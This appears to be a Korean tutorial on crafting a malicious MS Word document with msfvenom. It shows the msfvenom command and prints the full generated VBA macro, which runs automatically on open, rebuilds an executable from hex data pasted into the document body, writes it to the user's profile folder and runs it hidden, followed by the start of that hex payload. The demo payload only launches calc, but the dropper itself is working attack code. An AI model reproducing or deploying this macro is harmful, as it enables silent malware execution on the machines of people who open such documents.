MS Word 쉘코드 생성

칼리 리눅스에서 msfvenom으로 계산기를 출력하는 쉘코드를 생성한다.

쉘코드를 보면 MS워드에서 매크로 주입 시 사용되는 비주얼베이직(Visual Basic) 코드가 있고, 본문 내용 주입 시 사용되는 헥사값 쉘코드가 존재한다.

○ msfvenom -p windows/exec CMD=calc.exe -b '\x00\xff' -f vba-exe > /root/Desktop/daze

'**************************************************************
'*
'* This code is now split into two pieces:
'*  1. The Macro. This must be copied into the Office document
'*     macro editor. This macro will run on startup.
'*
'*  2. The Data. The hex dump at the end of this output must be
'*     appended to the end of the document contents.
'*
'**************************************************************
'*
'* MACRO CODE
'*
'**************************************************************
 
Sub Auto_Open()
         Xroke12
End Sub
 
Sub Xroke12()
         Dim Xroke7 As Integer
         Dim Xroke1 As String
         Dim Xroke2 As String
         Dim Xroke3 As Integer
         Dim Xroke4 As Paragraph
         Dim Xroke8 As Integer
         Dim Xroke9 As Boolean
         Dim Xroke5 As Integer
         Dim Xroke11 As String
         Dim Xroke6 As Byte
         Dim Kcrtdpebnc as String
         Kcrtdpebnc = "Kcrtdpebnc"
         Xroke1 = "RGnBUjvab.exe"
         Xroke2 = Environ("USERPROFILE")
         ChDrive (Xroke2)
         ChDir (Xroke2)
         Xroke3 = FreeFile()
         Open Xroke1 For Binary As Xroke3
         For Each Xroke4 in ActiveDocument.Paragraphs
                 DoEvents
                          Xroke11 = Xroke4.Range.Text
                 If (Xroke9 = True) Then
                          Xroke8 = 1
                          While (Xroke8 < Len(Xroke11))
                                   Xroke6 = Mid(Xroke11,Xroke8,4)
                                   Put #Xroke3, , Xroke6
                                   Xroke8 = Xroke8 + 4
                          Wend
                 ElseIf (InStr(1,Xroke11,Kcrtdpebnc) > 0 And Len(Xroke11) > 0) Then
                          Xroke9 = True
                 End If
         Next
         Close #Xroke3
         Xroke13(Xroke1)
End Sub
 
Sub Xroke13(Xroke10 As String)
         Dim Xroke7 As Integer
         Dim Xroke2 As String
         Xroke2 = Environ("USERPROFILE")
         ChDrive (Xroke2)
         ChDir (Xroke2)
         Xroke7 = Shell(Xroke10, vbHide)
End Sub
 
Sub AutoOpen()
         Auto_Open
End Sub
 
Sub Workbook_Open()
         Auto_Open
End Sub
 
'**************************************************************
'*
'* PAYLOAD DATA
'*
'**************************************************************
 
Kcrtdpebnc
&H4D&H5A&H90&H00&H03&H00&H00&H00&H04&H00&H00&H00&HFF&HFF&H00&H00&HB8&H00&H00
' --- 중략 ---

msfvenom 명령어로 생성된 daze 파일 하단에 있는 쉘코드를 MS워드 본문에 붙여넣기 한다.